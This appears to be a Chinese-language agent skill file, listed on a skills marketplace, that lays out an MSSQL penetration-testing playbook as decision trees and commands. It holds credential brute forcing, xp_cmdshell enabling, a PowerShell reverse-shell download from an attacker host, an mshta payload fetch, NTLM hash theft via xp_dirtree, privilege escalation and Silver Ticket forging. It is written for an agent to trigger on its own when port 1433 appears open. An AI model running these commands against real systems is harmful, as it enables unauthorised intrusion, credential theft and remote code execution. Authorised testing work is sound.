skills/exploit/network-service/mssql-pentesting/SKILL.md
MSSQL 数据库服务(1433 端口)渗透测试方法论。涵盖 MSSQL 服务发现、默认凭据测试、数据库枚举、xp_cmdshell 命令执行、链接服务器利用、权限提升、NTLM 哈希窃取、已知漏洞利用。 当 Agent 扫描发现 1433 端口开放、需要测试 MSSQL 认证、通过 xp_cmdshell 执行命令、或利用链接服务器横向移动时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity mssql-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 1433 端口开放
├─ Phase 1: 服务发现
│ ├─ Nmap 脚本探测版本与配置
│ ├─ 确定实例名称 (默认 MSSQLSERVER / 命名实例)
│ └─ 判断环境类型
│ ├─ 本地部署 -> 完整攻击面 (OS 命令执行、提权)
│ └─ DBaaS (Azure SQL / RDS) -> 无 xp_cmdshell,侧重数据层
├─ Phase 2: 认证测试
│ ├─ 空密码 sa 账户 / 默认凭据
│ ├─ 密码爆破 (hydra / nxc / MSSQLPwner)
│ └─ Windows 认证 (Pass-the-Hash / Kerberos)
├─ Phase 3: 数据库枚举
│ ├─ 版本、用户、权限、数据库列表
│ ├─ 敏感数据搜索
│ └─ 密码哈希提取
├─ Phase 4: xp_cmdshell 命令执行
│ ├─ 检查/启用 xp_cmdshell
│ ├─ 执行 OS 命令
│ └─ 替代方法 (OLE / Python / CLR / Agent Job)
├─ Phase 5: 链接服务器利用
│ ├─ 枚举链接服务器
│ ├─ 通过链接执行远程查询/命令
│ └─ 链接服务器密码提取
├─ Phase 6: 权限提升
│ ├─ db_owner + TRUSTWORTHY -> sysadmin
│ ├─ IMPERSONATE 权限利用
│ └─ 本地提权 (SeImpersonatePrivilege -> Potato)
└─ Phase 7: NTLM 哈希窃取
├─ xp_dirtree / xp_subdirs / xp_fileexist 强制认证
├─ Responder / impacket-smbserver 捕获哈希
└─ Silver Ticket 伪造 (捕获服务账户哈希后)
# Nmap MSSQL 全脚本扫描
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
# Metasploit 实例发现
msf> use auxiliary/scanner/mssql/mssql_ping
MSSQL 环境类型
├─ 本地部署 / VM
│ ├─ 完整攻击面: xp_cmdshell、文件读写、注册表、提权
│ └─ 继续 Phase 2-7 全流程
└─ DBaaS (Azure SQL / AWS RDS / GCP Cloud SQL)
├─ 无 xp_cmdshell、无 TRUSTWORTHY
├─ 侧重: SQL 注入逻辑、IAM 配置错误、数据导出
└─ 跳过 Phase 4/6 中的 OS 相关攻击
MSSQL 认证测试
├─ 1) 空密码 sa 测试
│ ├─ nmap --script ms-sql-empty-password -p 1433 <IP>
│ └─ nxc mssql <IP> -u sa -p ''
├─ 2) 默认/常见凭据
│ ├─ sa:sa, sa:password, sa:Password1, sa:P@ssw0rd
│ └─ nxc mssql <IP> -u sa -p passwords.txt
├─ 3) 密码爆破 (注意锁定策略!)
│ ├─ hydra -t 4 -l sa -P wordlist.txt <IP> mssql
│ └─ MSSQLPwner: mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
├─ 4) Windows 域认证
│ ├─ mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASS>@<IP>
│ └─ nxc mssql <IP> -u <USER> -p <PASS> -d <DOMAIN>
└─ 5) Pass-the-Hash
└─ nxc mssql <IP> -u <USER> -H <NTHASH> -d <DOMAIN>
# Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USER>:<PASS>@<IP>
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USER>:<PASS>@<IP>
# sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
sqsh -S <IP> -U .\<Username> -P <Password> -D <Database> # 本地认证
-- 版本信息
SELECT @@version;
-- 当前用户
SELECT user_name();
SELECT SYSTEM_USER;
-- 是否 sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- 数据库列表
SELECT name FROM master.dbo.sysdatabases;
-- 表列表
SELECT * FROM <db>.INFORMATION_SCHEMA.TABLES;
-- 用户与登录
SELECT sp.name AS login, sp.type_desc AS login_type, sl.password_hash,
sp.create_date, sp.modify_date,
CASE WHEN sp.is_disabled = 1 THEN 'Disabled' ELSE 'Enabled' END AS status
FROM sys.server_principals sp
LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id
WHERE sp.type NOT IN ('G', 'R') ORDER BY sp.name;
-- 当前用户服务器级权限
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
-- 当前用户数据库级权限
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
-- sysadmin 角色成员
EXEC sp_helpsrvrolemember 'sysadmin';
-- 谁能执行 xp_cmdshell
EXEC sp_helprotect 'xp_cmdshell';
-- 获取登录哈希 (需要 sysadmin 或 CONTROL SERVER)
SELECT * FROM master.sys.syslogins;
# 通过 MSSQL 爆破域 RID 枚举用户
nxc mssql <IP> --local-auth -u <user> -p '<pass>' --rid-brute 5000
nxc mssql <IP> -u <DOMAIN>\\<user> -p '<pass>' --rid-brute 10000
-> 读 references/mssql-techniques.md 获取完整枚举查询
检查命令执行能力
├─ 1) 直接尝试 xp_cmdshell
│ ├─ EXEC master..xp_cmdshell 'whoami'
│ ├─ 成功 -> 执行命令
│ └─ 失败 -> 尝试启用
├─ 2) 启用 xp_cmdshell (需 sysadmin)
│ ├─ EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
│ ├─ EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
│ └─ 再次执行 EXEC master..xp_cmdshell 'whoami'
├─ 3) xp_cmdshell 被黑名单过滤 -> 变量绕过
│ └─ DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'whoami'
├─ 4) xp_cmdshell 不可用 -> 替代方法
│ ├─ OLE Automation (sp_OACreate + sp_OAMethod)
│ ├─ Python/R 脚本 (sp_execute_external_script)
│ ├─ CLR Assembly (.NET DLL 加载)
│ ├─ SQL Agent Job
│ └─ autoadmin_task_agents (远程 DLL 加载)
└─ 5) 反弹 Shell
└─ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://<ATTACKER>:8000/rev.ps1") | powershell -noprofile'
# CMD 命令
nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -x "whoami"
# PowerShell 命令
nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -X '$PSVersionTable'
# 直接执行
mssqlpwner corp.com/user:[email protected] -windows-auth exec hostname
# 通过链接服务器执行
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# sp_oacreate 方法
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://<ATTACKER>/malicious.hta" -command-execution-method sp_oacreate
# 自定义 CLR Assembly
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
-> 读 references/mssql-techniques.md 获取 OLE / Python / CLR / Agent Job 详细方法
已获得 MSSQL 访问
├─ 枚举链接服务器
│ ├─ EXEC sp_linkedservers
│ ├─ SELECT * FROM sys.servers
│ └─ MSSQLPwner: enum_links
├─ 发现链接
│ ├─ 检查链接上的权限
│ │ ├─ 链接以 sa 运行 -> 完全控制远程实例
│ │ └─ 低权限 -> 枚举远程数据
│ ├─ 通过链接执行查询
│ │ ├─ SELECT * FROM OPENQUERY([LINKED_SRV], 'SELECT @@version')
│ │ └─ EXEC ('SELECT @@version') AT [LINKED_SRV]
│ ├─ 通过链接启用 xp_cmdshell
│ │ └─ EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT [LINKED_SRV]
│ └─ 链接链跳跃 (A -> B -> C)
│ └─ Metasploit: exploit/windows/mssql/mssql_linkcrawler
└─ 提取链接服务器密码
├─ 需要本地管理员权限
├─ 启用 DAC (-T7806 启动参数)
└─ -> 读 references/mssql-techniques.md #链接服务器密码提取
当前非 sysadmin
├─ 检查 db_owner + TRUSTWORTHY
│ ├─ 查找 TRUSTWORTHY 数据库
│ │ SELECT a.name, b.is_trustworthy_on FROM master..sysdatabases a
│ │ INNER JOIN sys.databases b ON a.name=b.name
│ ├─ 确认当前用户是否 db_owner
│ │ USE <db>; SELECT rp.name, mp.name FROM sys.database_role_members drm
│ │ JOIN sys.database_principals rp ON drm.role_principal_id=rp.principal_id
│ │ JOIN sys.database_principals mp ON drm.member_principal_id=mp.principal_id
│ ├─ 是 db_owner + TRUSTWORTHY -> 创建存储过程提权
│ │ └─ CREATE PROCEDURE sp_elevate WITH EXECUTE AS OWNER AS
│ │ EXEC sp_addsrvrolemember '<user>','sysadmin'
│ └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_dbowner
├─ 检查 IMPERSONATE 权限
│ ├─ SELECT b.name FROM sys.server_permissions a
│ │ INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id
│ │ WHERE a.permission_name='IMPERSONATE'
│ ├─ 可模拟 sa -> EXECUTE AS LOGIN = 'sa'
│ └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_execute_as
└─ 已获 sysadmin + OS Shell
└─ SeImpersonatePrivilege -> Potato 系列提权
├─ RoguePotato
├─ PrintSpoofer
└─ JuicyPotato / GodPotato
-> 读 references/mssql-techniques.md 获取完整提权 SQL 语句
已获得 MSSQL 查询执行权限
├─ 启动监听
│ ├─ sudo responder -I tun0
│ └─ sudo impacket-smbserver share ./ -smb2support
├─ 触发 SMB 认证 (强制目标连接攻击者)
│ ├─ xp_dirtree '\\<ATTACKER>\any\thing'
│ ├─ EXEC master.dbo.xp_dirtree '\\<ATTACKER>\any\thing'
│ ├─ EXEC master..xp_subdirs '\\<ATTACKER>\anything\'
│ ├─ EXEC master..xp_fileexist '\\<ATTACKER>\anything\'
│ └─ MSSQLPwner: mssqlpwner <creds>@<IP> ntlm-relay <ATTACKER>
├─ 捕获 NetNTLMv2 哈希
│ └─ 离线破解: hashcat -m 5600 hash.txt wordlist.txt
└─ Silver Ticket 攻击 (进阶)
├─ 从捕获的哈希恢复服务账户密码
├─ 计算 NTLM 哈希
├─ 获取域 SID + 特权组 RID
├─ ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOM> \
│ -spn MSSQLSvc/<fqdn>:1433 -groups <RID> <user>
└─ KRB5CCNAME=<user>.ccache mssqlclient.py -no-pass -k <fqdn>
-- 检查哪些用户可执行 UNC 路径函数
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
-- OPENROWSET 读取文件 (需 ADMINISTER BULK OPERATIONS 权限)
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
-- 检查权限
SELECT * FROM fn_my_permissions(NULL, 'SERVER')
WHERE permission_name='ADMINISTER BULK OPERATIONS'
OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
文件写入 (需管理员权限)
├─ 启用 OLE Automation Procedures
│ sp_configure 'show advanced options', 1; RECONFIGURE;
│ sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
└─ 通过 sp_OACreate 创建文件
└─ -> 读 references/mssql-techniques.md #文件写入
-- 读取注册表 (需 sysadmin)
EXEC master.sys.xp_regread 'HKEY_LOCAL_MACHINE',
'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent',
'WorkingDirectory';
-- 检查权限
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
MSSQL Metasploit 模块
├─ 发现: auxiliary/scanner/mssql/mssql_ping
├─ 枚举
│ ├─ admin/mssql/mssql_enum
│ ├─ admin/mssql/mssql_enum_domain_accounts
│ ├─ admin/mssql/mssql_enum_sql_logins
│ ├─ auxiliary/scanner/mssql/mssql_hashdump
│ └─ auxiliary/scanner/mssql/mssql_schemadump
├─ 提权
│ ├─ admin/mssql/mssql_escalate_dbowner
│ ├─ admin/mssql/mssql_escalate_execute_as
│ └─ exploit/windows/mssql/mssql_linkcrawler
├─ 命令执行
│ ├─ admin/mssql/mssql_exec
│ └─ exploit/windows/mssql/mssql_payload
├─ NTLM 窃取: auxiliary/admin/mssql/mssql_ntlm_stealer
└─ 本地认证绕过: windows/manage/mssql_local_auth_bypass
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能